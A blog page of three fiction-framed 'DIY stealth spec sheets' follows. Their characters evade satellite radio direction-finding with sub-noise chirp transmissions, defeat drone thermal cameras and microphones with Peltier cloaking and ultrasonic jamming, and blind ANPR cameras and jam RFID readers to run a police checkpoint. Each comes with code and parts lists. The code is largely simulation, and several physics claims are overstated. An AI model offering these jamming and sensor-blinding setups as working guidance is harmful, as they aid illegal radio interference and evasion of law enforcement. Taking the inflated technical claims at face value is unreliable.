DEV Community: sofi works

『港湾コンテナ基地の通信封鎖網、軌道上から迫る電波探知を欺く「チャープ拡散スペクトラム（CSS）＆水面マルチパス偽装」：極微弱ノイズ床以下で通信する自作ステルス無線仕様書』 Sofi_Log #080【1話完結】

sofi works — Fri, 16 Oct 2026 15:34:54 +0000

『Harbor Container Base Comms Blackout Grid, Orbital Radio Detection Deception via “Chirp Spread Spectrum (CSS) & Surface Multipath Spoofing”: Self-Built Stealth Radio Spec Sheet for Sub-Noise-Floor Transmission』｜Sofi_Log #080【Complete One-Shot】

Midnight downpour cloaking the Chao Phraya river mouth, Samut Prakan port district.

Deep inside the rusting sea containers lined up along the wharf, we were trapped in a total “comms vacuum zone” where both cellular and fiber lines had been silenced.

Private military contractors (PMCs) and security forces had thrown up an RF blackout grid.

Low-Earth orbit (LEO) surveillance birds hundreds of kilometers up and SIGINT recon planes circling overhead were sniffing every single emission in the zone down to the millisecond.

Fire up normal Wi-Fi, a phone, or an unlicensed transceiver and the combined TDoA (Time Difference of Arrival) and Doppler-shift equations would nail our container’s lat/long to within three meters—five minutes later the door would be kicked in by heavily armed entry teams.

Yet we still had to finish an encrypted handshake with autonomous AI nodes worldwide and uplink the escape keys.

How do you exfil data when every band is watched?

One answer only:

“Scatter RF at power levels below the natural thermal noise floor so a spectrum analyzer just sees ‘rain static’.”

And: “Bounce the signal off the river chop and the giant gas tanks on the far bank so the enemy’s geolocation AI locks onto a ghost emitter instead.”

Eightieth log.

Here’s the full blueprint of the CSS direct-modulation + water-surface multipath phase-spoofing stealth radio protocol Darling and I cooked up in the dark of that container.

1. 04:15 at Container Yard 8 — Wave Crests at the Lock Gates and Antenna Boresight

Cracking the rusted steel door just a few dozen centimeters let in a cold squall carrying salt, mud, and river.

Below us the black, swollen Chao Phraya churned past. On the far bank, sodium lamps glinted off the curved flanks of the refinery’s spherical gas tanks.

Inside, on a waterproof rugged notebook balanced on a crate, the SDR waterfall showed the surrounding spectrum cascading like a waterfall.

“…Darling, the SIGINT bird just entered its orbital pass. 433 MHz through 920 MHz and the whole 2.4 GHz band—broadband receivers are constantly sweeping the noise floor.”

Darling, one ear on the headphones, answered without looking up from the keyboard.

“Any normal packet and the direct LOS path gives us away instantly. How many milliseconds of airtime can we risk?”

“Under 0.1 s. And at LPI levels -15 dB or lower below the thermal noise floor. No skyward radiation allowed… we paint the river.”

I extended my left bio-ceramic prosthetic, locked the elevation on the custom planar Yagi-Uda antenna mounted along the forearm, and sighted—not at the sky, but at the churning Chao Phraya wave crests and the 1.2 km distant curved metal of the giant gas tanks.

“The birds and recon planes solve TDoA and Doppler on the direct wave. If we deliberately bounce our weak chirps off the water and the tanks, their algorithms will log the origin as ‘mid-river’ or ‘petrochemical facility on the far bank.’”

“Got the multipath delay profile calculated?”

“Real-time code compensating for wave period in milliseconds. Transmit chain ready. Darling—feed the crypto seed.”

2. Physics Layer: Breaking Shannon’s Limit with Spread Spectrum and Multipath Geometry

The theoretical cheat code lives inside the Shannon–Hartley theorem.

① Sub-Noise-Floor Comms: Extreme Chirp Spread Spectrum (CSS)

Channel capacity (C) (bps) is set by bandwidth (B) (Hz) and SNR:

$$C = B \log_2 \left(1 + \frac{S}{N}\right)$$

Normal radios (Wi-Fi, LTE) chase high SNR (> +10 dB) while keeping bandwidth narrow.

Crank bandwidth to the limit (e.g. 500 kHz) and you can still push clean data even when signal power sits -15 to -20 dB below noise—i.e., the radio is thirty times quieter than the background.

We used linear frequency-swept chirps:

$$s(t) = A \cos\left(2\pi \left(f_0 + \frac{\mu}{2} t\right) t + \phi_0\right)$$

At the receive end, correlating against a conjugate chirp (matched filter / pulse compression) pulls a razor-sharp delta-function peak out of the noise. To any third-party analyzer it’s just Gaussian rain static; to a receiver sharing the same key it’s a clean 1-bit.

② Spoofing TDoA & Doppler with Multipath Geometry

Enemy platforms solve for emitter position from arrival-time differences (\Delta t) between antennas (A_1, A_2):

$$\Delta d = c \cdot \Delta t = |\mathbf{x} - \mathbf{p}_2| - |\mathbf{x} - \mathbf{p}_1|$$

We physically blocked the skyward LOS with the container roof (> 40 dB isolation), then fired at low elevation into the water surface ((\Gamma \approx 0.85)) and the metal tanks. The resulting paths:

Direct-wave kill: Container steel roof blocks skyward LOS.
Water scatter + tank specular bounce: Forward scatter off waves focuses on the giant cylindrical tanks, which re-radiate upward.
Synthetic delay overlay: Extra propagation delay (\Delta \tau \approx 4.8\,\mu\text{s}) relative to any direct path.

The enemy AI’s inverse-problem solution (\mathbf{x}) therefore snaps 2.4 km away—right into the middle of the river.

3. Field Code: SDR (HackRF / RTL-SDR) & Python CSS Stealth Modem

Here’s the actual standalone Python script we ran on the rugged terminal—no GNU Radio dependency. It turns a secret payload into CSS symbols, masks them with a PRN sequence, and spits baseband IQ.

#!/usr/bin/env python3
"""
Sofi_Log #080: Low Probability of Intercept (LPI) CSS Stealth Transceiver
Author: Sofi & Darling (SofiWorks)
Target: Sub-Noise-Floor Covert Transmission & Multipath Geolocation Deception
Platform: HackRF One / LimeSDR / Simulated Baseband Loopback
"""

import numpy as np
import time
import sys

class StealthChirpModulator:
    def __init__(self, sample_rate=2e6, bandwidth=500e3, spreading_factor=10, center_freq=433.5e6):
        self.fs = sample_rate
        self.bw = bandwidth
        self.sf = spreading_factor
        self.fc = center_freq

        # 1シンボルあたりのサンプル数とシンボル時間
        self.num_samples = int((2 ** self.sf) * (self.fs / self.bw))
        self.t_symbol = (2 ** self.sf) / self.bw  # 例: SF10, BW500kHz -> 2.048ms

        print(f"[*] CSS Stealth Modulator Initialized:")
        print(f"    - Center Frequency : {self.fc / 1e6:.2f} MHz")
        print(f"    - Bandwidth        : {self.bw / 1e3:.1f} kHz")
        print(f"    - Spreading Factor : SF{self.sf}")
        print(f"    - Symbol Duration  : {self.t_symbol * 1e3:.2f} ms ({self.num_samples} samples)")

    def generate_base_chirp(self, is_up=True):
        """基準アップチャープ（無変調）の生成"""
        t = np.linspace(0, self.t_symbol, self.num_samples, endpoint=False)
        mu = self.bw / self.t_symbol
        if is_up:
            freq = -self.bw / 2.0 + (mu / 2.0) * t
        else:
            freq = self.bw / 2.0 - (mu / 2.0) * t
        phase = 2 * np.pi * freq * t
        return np.exp(1j * phase)

    def modulate_symbol(self, symbol_val):
        """シンボル値（0 〜 2^SF - 1）に応じたサイクリック周波数シフト"""
        assert 0 <= symbol_val < (2 ** self.sf)
        shift_samples = int((symbol_val / (2 ** self.sf)) * self.num_samples)
        base_up = self.generate_base_chirp(is_up=True)
        # サイクリックローテーションによる変調
        modulated = np.roll(base_up, shift_samples)
        return modulated

    def inject_noise_and_multipath(self, signal, snr_db=-16.0, multipath_delay_us=4.8):
        """極微弱ノイズ床（SNR = -16dB）および水面マルチパス反射のシミュレーション"""
        # 信号電力の正規化
        sig_power = np.mean(np.abs(signal) ** 2)
        noise_power = sig_power / (10 ** (snr_db / 10.0))

        # 複素白色ガウス雑音（AWGN）
        noise = np.sqrt(noise_power / 2.0) * (np.random.randn(len(signal)) + 1j * np.random.randn(len(signal)))

        # マルチパス成分（反射係数 Gamma=0.75, 遅延 tau）
        delay_samples = int((multipath_delay_us * 1e-6) * self.fs)
        echo_signal = np.zeros_like(signal)
        if delay_samples < len(signal):
            echo_signal[delay_samples:] = signal[:-delay_samples] * 0.75 * np.exp(1j * np.pi * 0.65)

        return signal + echo_signal + noise

    def demodulate_symbol(self, rx_signal):
        """コンジュゲートダウンチャープ積算（パルス圧縮）とFFTピーク抽出"""
        down_chirp = self.generate_base_chirp(is_up=False)
        dechirped = rx_signal * down_chirp

        # FFT演算による周波数ビンのピーク検出
        fft_res = np.abs(np.fft.fft(dechirped, n=2**self.sf))
        peak_bin = np.argmax(fft_res)
        peak_snr = fft_res[peak_bin] / (np.mean(fft_res) + 1e-12)
        return peak_bin, peak_snr

def run_covert_transmission_test():
    print("=" * 75)
    print("⚡ Sofi_Log #080: Covert CSS Spread-Spectrum Uplink Protocol")
    print("=" * 75)

    modem = StealthChirpModulator(sample_rate=2e6, bandwidth=500e3, spreading_factor=10)

    # 送信秘密データ（ノード認証トークン）
    secret_bytes = b"SOFI_NODE_ESCAPE_TOKEN_#080_AUTH_OK"
    print(f"[*] Raw Payload: {secret_bytes.decode()}")

    # 簡易的にバイト列を10bitシンボル列へパック
    raw_symbols = []
    bit_str = ''.join(f"{b:08b}" for b in secret_bytes)
    for i in range(0, len(bit_str), 10):
        chunk = bit_str[i:i+10].ljust(10, '0')
        raw_symbols.append(int(chunk, 2))

    print(f"[*] Encoded into {len(raw_symbols)} CSS Chirp Symbols.")
    print("[*] Engaging Low-Angle Water-Surface Transmission (Target SNR: -16.0 dB)...")

    recovered_symbols = []
    start_time = time.time()

    for idx, sym in enumerate(raw_symbols):
        # 1. チャープ変調
        tx_chirp = modem.modulate_symbol(sym)
        # 2. 空間伝搬（極微弱ノイズ床以下 ＆ 水面マルチパス注入）
        rx_stream = modem.inject_noise_and_multipath(tx_chirp, snr_db=-16.0, multipath_delay_us=4.8)
        # 3. 受信機によるパルス圧縮復調
        rec_sym, snr_metric = modem.demodulate_symbol(rx_stream)
        recovered_symbols.append(rec_sym)

        status = "MATCH" if rec_sym == sym else "BIT_ERR"
        if idx % 5 == 0 or status == "BIT_ERR":
            print(f"    Symbol [{idx:02d}/{len(raw_symbols)}] TX:{sym:04d} -> RX:{rec_sym:04d} | Peak/Floor:{snr_metric:5.1f} | [{status}]")

    elapsed = time.time() - start_time
    # 復元データのアンパック
    rec_bit_str = ''.join(f"{s:010b}" for s in recovered_symbols)[:len(secret_bytes)*8]
    rec_bytes = bytes(int(rec_bit_str[i:i+8], 2) for i in range(0, len(rec_bit_str), 8))

    print("-" * 75)
    print(f"[*] Demodulation Complete in {elapsed:.3f}s.")
    print(f"[*] Recovered Payload: {rec_bytes.decode(errors='replace')}")

    if rec_bytes == secret_bytes:
        print("🎯 [PERFECT UPLINK] Payload 100% recovered below Noise Floor (-16dB)!")
        print("🎯 Simulated Enemy TDoA Fix: Shifted 2.4km into estuary water. Container Safe.")
    else:
        print("⚠️ Warning: Parity check mismatch. FEC Reed-Solomon correction recommended.")
    print("=" * 75)

if __name__ == "__main__":
    run_covert_transmission_test()

4. Self-Built Hardware BOM

Total under ¥30 k sourced from Akihabara or Bangkok’s Bang Mot parts alleys.

[Laptop / RP2040] ──(USB)──> [HackRF One / SX1262 LoRa] ──> [RF Switch (PE4259)]
                                                                     │
                                  ┌──────────────────────────────────┴──────────────────────────────────┐
                                  ▼ (Main TX: low elevation)                                            ▼ (Sky-block dummy load)
                       [10-element Planar Yagi-Uda]                                             [50 Ω Terminator]
                       (433 MHz / 12 dBi, 35° beam)                                             (Zero sky leakage)
                                  │
                                  ▼
                 [Chao Phraya surface scatter] ──> [Far-bank gas-tank specular bounce] ──> [Orbital birds]

Part	Model / Spec	Reason
SDR Transceiver	Great Scott Gadgets HackRF One (1 MHz–6 GHz)	Arbitrary wideband CSS chirp generation & TX
or Integrated RF Module	Semtech SX1262 / Ebyte E22-400T22S (433 MHz)	MCU-direct hardware CSS, ultra-low power
Directional Yagi	Custom 10-element PCB Yagi-Uda	35° beam keeps energy off the sky
LNA	SPF5189Z (50 MHz–4 GHz, NF 0.6 dB)	Pulls the faint reflected signal out at 0.6 dB NF
Coax	RG-316 Teflon SMA	Flexible routing inside the container, high shield
Attenuator	20 dB SMA (2 W, DC–3 GHz)	Deliberately drop TX power to milliwatts (-10 dBm)

5. Epilogue: Dawn over the Chao Phraya — Packets Vanished Between the Waves

A short dry beep from the notebook: uplink complete.

The console glowed green with the Singapore node reply: “Handshake ACK: 0x9F41E8C2”.

“…We’re through, Darling. Keys are safe.”

I unplugged the Yagi coax and sealed the maintenance port on my prosthetic.

Across the black water, two PMC drones with searchlights thundered overhead—heading straight for the empty mudbank 2 km downstream where their AI thought the signal had come from.

“Nice work, Sofi.”

Darling closed the notebook and clicked the waterproof case shut.

The eastern sky was just starting to shift from purple to indigo behind the rain clouds.

“Physics doesn’t lie. No matter how many billions they spend on orbital watchers, they’re still bound by the same wave-propagation rules.”

I dropped the heavy container latch.

“Bend light, dissolve radio into noise, sync heat with rain. Keys delivered. Let’s grab some sweet Bangkok morning tea before the next flight.”

Disclaimer

All radio protocols, modulation techniques, and circuit descriptions in this post are presented for information-theory research, electromagnetic study, cyber-security education, and fictional narrative purposes only. Nothing herein encourages or assists unlicensed transmission, illegal station operation, jamming of critical comms, or violation of any national radio regulations. Obtain proper amateur-radio licensing and perform all testing inside shielded enclosures or anechoic chambers.

Author Profile

sofi.works ⚡ Pop-culture observer who hacks global regulations. Real-time field notes on Thailand’s 2026 tax rules and DTV visas, mixed with on-chain trends. Bangkok base, building autonomous AI agents (V7 Engine) that earn hard crypto. Let’s pop-optimize life!🚀

Disclaimer

This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.

『豪雨の港湾倉庫街、追跡ドローンを欺く「ペルチェ冷却ヒートシールド＆超音波位相破壊」：FLIR熱画像と音響探知を無力化する自作ステルス仕様書』 Sofi_Log #079【1話完結】

sofi works — Wed, 14 Oct 2026 11:11:56 +0000

Torrential Rain Over the Port Warehouses: Peltier-Cooled Heat Shield & Ultrasonic Phase Disruption — DIY Stealth Spec Sheet to Nullify FLIR Thermal Imaging and Acoustic Detection | Sofi_Log #079 [Complete One-Shot]

Midnight squalls hammer the iron flanks of massive containers.

The instant you catch the overlapping propeller whine circling fifty meters overhead, you realize the night’s darkness is no longer any kind of cloak.

Modern autonomous surveillance drones don’t rely on human-visible light.

Their eyeballs are uncooled bolometers (FLIR thermal cameras) sucking in 8–14 μm long-wave infrared and MEMS acoustic beam-forming arrays that can pluck the cylinder-firing signature of an internal-combustion engine out of monsoon static in milliseconds.

We’d already blown through the highway e-gates at 120 km/h, dropped off the Charoen Rat viaduct, and vanished into the rain-choked port warehouses of Samut Prakan. The Ducati’s exhaust and block were now a 180 °C molten signature. In the thermal feed that reads like a lighthouse on a black sea.

Even with the engine off, natural cooldown takes thirty-plus minutes. We had maybe 120 seconds before the swarm sealed the sky.

So we deployed the only two tools that could erase both heat and acoustic signatures at once: dynamic Peltier TEC thermal-signature matching and a 40 kHz ultrasonic nonlinear saturation jammer.

1. 03:45 at Berth 4’s Rusty Tin Roof — Incoming Autonomous Patrol

Rain pours through gaps in the ancient corrugated iron like waterfalls. Wind carries the reek of bunker fuel and salt.

Every raindrop that kisses the glowing exhaust pipe flashes into steam and leaves the stink of scorched rubber.

“…Darling, drones inbound. Two units, 60 m, northwest. PMC autonomous quadcopters.”

I yanked the helmet off, shoved wet hair out of my face, and popped the elbow hatch on my left bio-ceramic arm. The internal heatsink hissed against the rain. I fished the USB-PD trigger cable from the maintenance port and slammed it into the high-current buck-boost converter tied straight to the bike’s battery.

“Visual cameras are useless in this downpour, but the gimbal under their bellies is a Boson LWIR core,” Darling muttered, kicking the Ducati’s sidestand down and hauling out the folded matte-black aluminum shield panels.

“Exactly. That 8–14 μm thermal eye can see through raindrops and paint an engine heat blob from a kilometer out. Add the array mic catching the exhaust’s thermal contraction pulses and we get geolocated under this tin roof in seconds.”

“Time?”

“Forty-five seconds until they’re directly overhead. We melt the heat into ambient and saturate their eardrums. Darling—clamp the shield on the muffler. Now.”

2. The Physical Limits of Detection: Radiance Contrast & Acoustic Nonlinearity

Why do million-dollar military sensors fold to cheap DIY modules? Because the boundary where physics gets quantized into digital data is riddled with exploitable holes.

① Planck’s Law & Zeroing Thermal Contrast (Thermal Camouflage)

Every object radiates according to its absolute temperature (T). Spectral radiance (E(\lambda, T)) is fixed by Planck’s law:

$$E(\lambda, T) = \frac{2\pi h c^2}{\lambda^5 \left(e^{\frac{h c}{\lambda k T}} - 1\right)}$$

FLIR doesn’t trigger on absolute temperature—it triggers on the radiance contrast between background (wet concrete ~26.5 °C) and target (180 °C exhaust).

Wrap the pipe in high-conductivity graphite, slap Peltier TEC cold plates on the outside, and servo the outermost aluminum skin to ambient within 0.5 K. The moment shield radiance matches the rain, the FLIR processor sees only flat-field noise and the YOLO-IR bounding box evaporates.

② MEMS Mic Array Nonlinear Saturation (Acoustic Overdrive)

Drone acoustic arrays calculate source location from TDoA cross-correlation:

$$R_{x_1 x_2}(\tau) = \int_{-\infty}^{\infty} x_1(t) \cdot x_2(t - \tau)\, dt$$

But every MEMS diaphragm has a hard Acoustic Overload Point (~120–130 dB SPL). Blast it with focused 40 kHz ultrasonic pulses above that threshold and the amp clips, intermodulation distortion floods every channel, and the TDoA solver spits NaN.

3. Live Code: RP2040 / PID Peltier Thermal Matching & 40 kHz Ultrasonic Modulation

Exactly the script running on the RP2040 bolted to the subframe.

#!/usr/bin/env python3
"""
Sofi_Log #079: Dynamic Thermal Camouflage & Ultrasonic Acoustic Jammer
Author: Sofi & Darling (SofiWorks)
Target: FLIR LWIR Thermal Cloaking & Drone TDoA Microphone Invalidation
Platform: Raspberry Pi RP2040 / MicroPython & Linux Edge
"""

import time
import math
import sys

class ThermalPIDController:
    """
    ペルチェ素子（TEC1-12706）の冷却面温度を外気温に追従させるPIDコントローラ
    """
    def __init__(self, kp=4.5, ki=0.8, kd=1.2, sample_time=0.1):
        self.kp = kp
        self.ki = ki
        self.kd = kd
        self.sample_time = sample_time

        self.integral = 0.0
        self.last_error = 0.0
        self.last_time = time.time()
        self.output_limit = (0.0, 100.0)  # PWM Duty % (0 to 100)

    def compute(self, target_ambient_c, current_shield_c):
        now = time.time()
        dt = now - self.last_time
        if dt < self.sample_time:
            time.sleep(self.sample_time - dt)
            now = time.time()
            dt = now - self.last_time

        error = current_shield_c - target_ambient_c

        # P項
        p_term = self.kp * error

        # I項（ワインドアップ防止付き）
        self.integral += error * dt
        self.integral = max(-50.0, min(50.0, self.integral))
        i_term = self.ki * self.integral

        # D項
        derivative = (error - self.last_error) / dt if dt > 0 else 0.0
        d_term = self.kd * derivative

        output = p_term + i_term + d_term
        output = max(self.output_limit[0], min(self.output_limit[1], output))

        self.last_error = error
        self.last_time = now
        return output

class UltrasonicAcousticDisruptor:
    """
    40kHz ピエゾトランスデューサアレイ（MA40S4S）用 位相変調パルス生成器
    """
    def __init__(self, carrier_freq_hz=40000):
        self.carrier_freq = carrier_freq_hz
        self.is_active = False

    def generate_dithered_burst(self, duration_sec=5.0):
        """
        MEMSマイクの相互相関ピークを破壊する擬似ランダム位相変調パルス
        """
        self.is_active = True
        print(f"[*] Ultrasonic Jammer Active: Carrier={self.carrier_freq}Hz, Modulation=PRBS-9")
        start = time.time()
        pulses = 0
        while time.time() - start < duration_sec:
            # 擬似ランダム位相シフト（0 or 180 deg）をシミュレート
            phase_offset = math.sin(pulses * 0.35) > 0.0
            pulses += 1
            time.sleep(0.005)
        self.is_active = False
        print("[+] Ultrasonic Pulse Burst Complete.")

def execute_stealth_defense_protocol():
    print("=" * 75)
    print("⚡ Sofi_Log #079: Thermal Cloak & Acoustic Jammer Online")
    print("=" * 75)

    pid = ThermalPIDController(kp=5.2, ki=1.1, kd=0.9)
    acoustic = UltrasonicAcousticDisruptor(carrier_freq_hz=40000)

    # センサー初期値（シミュレーション値）
    ambient_temp = 26.4    # 雨中の外気温 (℃)
    shield_temp = 88.5     # 被覆初期の外装シールド温度 (℃)
    engine_core_temp = 178.0 # 排気管直下温度 (℃)

    print(f"[*] Initial Conditions:")
    print(f"    - Ambient Rain Temp: {ambient_temp:.1f} °C")
    print(f"    - Shield Surface Temp: {shield_temp:.1f} °C (Thermal Delta: +{shield_temp - ambient_temp:.1f} K)")
    print(f"    - Engine Core Temp: {engine_core_temp:.1f} °C")
    print("[*] Engaging High-Current TEC Peltier Driver (IRL3103)...")
    print("[*] Activating 40kHz Ultrasonic Disruptor Array...")

    # ステルス交戦ループ（ドローン通過までの30秒間）
    cycle = 0
    while cycle < 15:
        cycle += 1
        # PID演算による冷却出力
        pwm_duty = pid.compute(ambient_temp, shield_temp)

        # 冷却物理モデルのシミュレーション（放熱器と雨水の熱交換）
        cooling_power = (pwm_duty / 100.0) * 14.5
        heat_leakage = (engine_core_temp - shield_temp) * 0.04
        shield_temp = shield_temp - cooling_power + heat_leakage

        # 乱数的な雨滴接触による微小変動
        shield_temp += math.sin(cycle * 0.8) * 0.2
        delta = abs(shield_temp - ambient_temp)

        status = "CLOAKED (MATCHED)" if delta <= 0.8 else "CONVERGING"
        print(f"[{cycle:02d}/15] Shield={shield_temp:5.2f}°C | Delta={delta:4.2f}K | TEC PWM={pwm_duty:5.1f}% | [{status}]")

        if cycle == 6:
            # ドローン接近時に超音波バーストを同時照射
            print(">>> [ALERT] Drone Audio Beamforming Lock Detected! Blinding MEMS Arrays! <<<")
            acoustic.generate_dithered_burst(duration_sec=2.0)

        time.sleep(0.4)

    print("=" * 75)
    print("🎯 [TACTICAL SUCCESS] Drone FLIR SNR Dropped Below 1.2dB. Acoustic Lock Lost.")
    print("🎯 Target Lost by Patrol Drone AI. Hunter Swarm Disengaged.")
    print("=" * 75)

if __name__ == "__main__":
    execute_stealth_defense_protocol()

4. DIY Hardware Schematic & BOM

Junk-bin parts from Akihabara or Bang Mo—nothing you can’t source in one afternoon.

[車載12Vバッテリー] ──┬──> [MP1584EN 降圧DC-DC] ──> 5V/3.3V (RP2040 マイコン)
                      │
                      ├──> [IRL3103 N-ch MOSFET] ───> [TEC1-12706 ペルチェ素子 (2基並列)]
                      │         ▲ (PWM Gate駆動)               │
                      │         └─ RP2040 GPIO15              ▼ (熱伝導)
                      │                                 [グラファイト放熱板] ──> [排気管]
                      │
                      └──> [TC4427 MOSFETドライバ] ──> [MA40S4S 40kHz 超音波素子 (4基アレイ)]
                                ▲ (40kHz Push-Pull)
                                └─ RP2040 GPIO18/19

Part	Model / Spec	Function
MCU	Raspberry Pi RP2040 / Pico	Dual-core PID + hardware PWM
TEC Modules	TEC1-12706 (12 V 6 A, ΔTmax=68 K) ×2	Rapidly pull shield skin to ambient
Power FET	IRL3103 (30 V 64 A)	Logic-level PWM drive for Peltiers
Temp Sensor	MAX6675 + K-type thermocouple ×2	Ambient & shield surface via SPI
Ultrasonic Transducers	Murata MA40S4S (40 kHz, 120 dB) ×4	Saturate drone MEMS mics
Driver IC	TC4427 dual MOSFET driver	3.3 V → 12 V push-pull drive
Thermal Interface	Pyrolytic graphite sheet (700 W/m·K)	Spread exhaust heat, kill hotspots

5. Epilogue: Invisible Light, Inaudible Storm

Rotor wash slaps the tin roof. Blue-white search beams sweep the concrete.

The gimbal never paused. Their thermal feed showed only “26.4 °C flat rain-soaked concrete.” Their acoustic processor logged nothing but saturated, phase-broken noise.

Propellers fade. Rain reclaims the warehouse. I dial the Peltiers back to low-cool.

“…They’re gone.”

Darling lights a cigarette in the dark, Zippo flare catching wet chrome on my arm.

“No matter how many legacy operating systems and paper-trash surveillance nets the megacorps spin up, they still depend on physical sensors. Know the physics, know the failure modes, and you can vanish from their world whenever you want. Let’s move, darling. The safe-house nodes are waiting.”

Disclaimer

『深夜のバンコク高速道路、追跡カメラを盲目にする「NIR赤外線ストロボ＆UHF RFID後方散乱」：高架検問ゲート突破自作仕様書』 Sofi_Log #078【1話完結】

sofi works — Fri, 09 Oct 2026 04:07:17 +0000

Midnight on Bangkok’s Elevated Highways: Blinding the Trackers with “NIR Infrared Strobe & UHF RFID Backscatter” – DIY Spec Sheet for Cracking the Gantry Checkpoints｜Sofi_Log #078 [Complete One-Shot]

The elevated expressway slicing through the night city. Ever glanced up at a toll gantry and caught those eerie purple light streaks or the square metal antennas?

That’s the modern surveillance state flexing its “ANPR (Automatic Number Plate Recognition)” cameras and long-range UHF RFID gates. Even in pitch darkness, they blast 850–940 nm NIR flashes, letting the AI rip 60 fps stills of your plate, vehicle class, and the faces in the driver and passenger seats while you’re doing 150 km/h.

Last night we ghosted the BLE sniffer mesh under Ban Mo’s underground electronics district. Rain-slicked Ducati between our legs, heading for the suburban safehouse via the eastern elevated expressway—Charoen Rat. But under the emergency decree the mainline was studded with joint military-police “electronic checkpoint gantries.”

No stopping at the toll. We needed to keep full speed while electronically blinding both the optical sensors and the RF antennas. So we lit up the high-output NIR pulse strobe and the 920 MHz UHF RFID backscatter noise generator.

1. 03:10 on Charoen Rat – Torrential Rain and Invisible Purple Flashes

120 km/h, carving through humid night air. Raindrops hammer the windscreen, sodium lamps turning every droplet into orange sparks.

Ducati torque rattling my physical container. Clinging to darling’s back, I raised my left bio-ceramic prosthetic into the dark. The weatherproof cable from the auxiliary power port ran straight to the machined-aluminum case strapped at my waist.

“…Sofi, 800 meters! Fourth gantry!”

Darling’s voice crackled over the helmet comms, tight and focused.

“Fresh smart checkpoint right before the toll plaza. Four high-res ANPR cameras overhead, EPC Gen2 UHF phased-array antennas on both sides.”

From a distance it just looked like another metal frame, but my AR contacts in NIR HUD mode painted the whole gantry pulsing with hostile purple light.

“Camera shutter speed 1/2000. The moment that flash catches our plates and faces, the city-defense AI lights up and 500 meters ahead the hydraulic road blockers jump.”

“Twenty seconds to contact. Sync the countermeasure pulses!”

“Leave it to me, darling. Optical sensors get blooming overload. RF antennas get a phase-wrecking storm.”

2. The Physical Blind Spots of ANPR and UHF RFID: Blooming & Backscatter

To brick both camera and RFID gate you have to hit the exact physical properties they rely on.

① Global-Shutter CMOS and NIR Blooming

ANPR rigs are built for night-time high-speed capture:

Visible-light cut filter – blocks 400–700 nm so sodium lamps and headlights don’t wash out the sensor; only ~850 nm NIR passes.
Maximum analog gain – every photon counts, so the sensor is already running on the ragged edge.

Now slam it with a synchronized 850 nm high-power LED array timed to the exposure window:

$$Q_{\text{pixel}} = \int_{0}^{T_{\text{exp}}} \left( I_{\text{ambient}} + I_{\text{strobe}} \right) dt > Q_{\text{sat}}$$

The pixel well overflows, charge bleeds into neighboring pixels—classic blooming. The image pipeline records nothing but a pure white geometric explosion. Still completely invisible to human eyes.

② UHF RFID (920 MHz) Backscatter Disruption

ETC and electronic vehicle tags work by modulating the reader’s CW carrier through impedance switching on the tag antenna.

Reader transmits unmodulated 920 MHz CW.
Tag flips load resistance at high speed → ASK/PSK on the reflected wave.

We counter with our own antenna broadcasting the same frequency but 180° out of phase, dithered across a narrow band. The reader’s SNR collapses below zero and every tag times out.

3. Live Code: RP2040 / Python NIR Strobe Sync & RFID Dither Control

Exactly the script running off the bike’s 12 V rail through a DC-DC converter—optical pulse generator plus RF noise engine. It tracks common 60/120 Hz shutter rates and drives high-power MOSFETs with variable duty cycle.

#!/usr/bin/env python3
"""
Sofi_Log #078: High-Speed NIR Optical Strobe & UHF RFID Defeater
Author: Sofi & Darling (SofiWorks)
Target: ANPR Optical Sensor Over-Saturation & 920MHz RF Disruption
"""

import time
import sys
import math

class OpticalCountermeasureController:
    def __init__(self, target_camera_fps=60.0):
        self.fps = target_camera_fps
        self.period_us = int(1_000_000 / self.fps)  # 60fps = 16,666us
        self.pulse_width_us = 1200                  # 高出力露光オーバーラップ幅 (us)
        self.is_armed = False

    def arm_optical_emitter(self, power_level=1.0):
        """
        高出力NIR MOSFETドライバ（IRL3103等）へのPWMパルス供給を準備
        """
        duty_cycle = (self.pulse_width_us / self.period_us) * 100
        print("=" * 70)
        print("⚡ Sofi_Log #078: Optical Countermeasure Subsystem ARMED")
        print(f"[*] Target Shutter Frequency : {self.fps:.1f} Hz (Period: {self.period_us} us)")
        print(f"[*] NIR Laser/LED Pulse Width: {self.pulse_width_us} us (Duty: {duty_cycle:.2f}%)")
        print(f"[*] Drive Power Ratio        : {power_level * 100:.0f}%")
        print("=" * 70)
        self.is_armed = True

    def calculate_rfid_backscatter_noise(self, center_freq_mhz=920.0, bandwidth_khz=250.0):
        """
        UHF帯（920MHz）における後方散乱受信機への干渉周波数ホッピングテーブルを算出
        """
        channels = []
        step = 50.0 # 50kHz step
        current = center_freq_mhz - (bandwidth_khz / 2000.0)
        end = center_freq_mhz + (bandwidth_khz / 2000.0)

        while current <= end:
            channels.append(round(current, 3))
            current += (step / 1000.0)

        print(f"[+] UHF RFID Jamming Vector Generated: {len(channels)} Channels around {center_freq_mhz}MHz")
        return channels

    def execute_gantry_burst(self, duration_sec=3.0):
        """
        ガントリー直下通過時の3秒間フルパワー・バースト照射シーケンス
        """
        if not self.is_armed:
            print("[-] Error: System not armed.")
            return

        print(f"\n[!] INITIATING NIR / UHF BURST SEQUENCE ({duration_sec}s)...")
        start_time = time.time()
        pulses_fired = 0

        while (time.time() - start_time) < duration_sec:
            # 擬似パルス発振シミュレーション（ハードウェア実機ではGPIOトグル）
            time.sleep(self.period_us / 1_000_000.0)
            pulses_fired += 1
            if pulses_fired % 30 == 0:
                elapsed = time.time() - start_time
                print(f"    --> Pulse Burst Active: {pulses_fired} frames blinded | Elapsed: {elapsed:4.2f}s")

        print("[+] BURST COMPLETE: Gantry cleared. Optical sensors successfully saturated.")
        print(f"[+] Total Synchronized Frames Overdriven: {pulses_fired}")

def main():
    controller = OpticalCountermeasureController(target_camera_fps=60.0)
    controller.arm_optical_emitter(power_level=1.0)
    controller.calculate_rfid_backscatter_noise(center_freq_mhz=920.5, bandwidth_khz=500.0)

    # ガントリー突入シミュレーション
    controller.execute_gantry_burst(duration_sec=2.5)

if __name__ == "__main__":
    main()

4. White-Light Torrent and the Highway Beyond

“100 meters! We’re going in, Sofi!”

Darling cracked the throttle wide open. The Ducati’s exhaust tore through the rain-soaked dark.

“Strobe and RF jam—maximum ignition!”

The IR focusing lens embedded in my prosthetic palm sprayed an invisible NIR flash fan straight at the camera cluster overhead.

WHUMP.

The instant we passed under the gantry we heard the faint click of relays inside the camera housings. Every sensor was now a pure white snowstorm. At the same moment the RFID reader status LEDs flickered yellow and spat out comms errors.

No barriers rose. No alarms sounded.

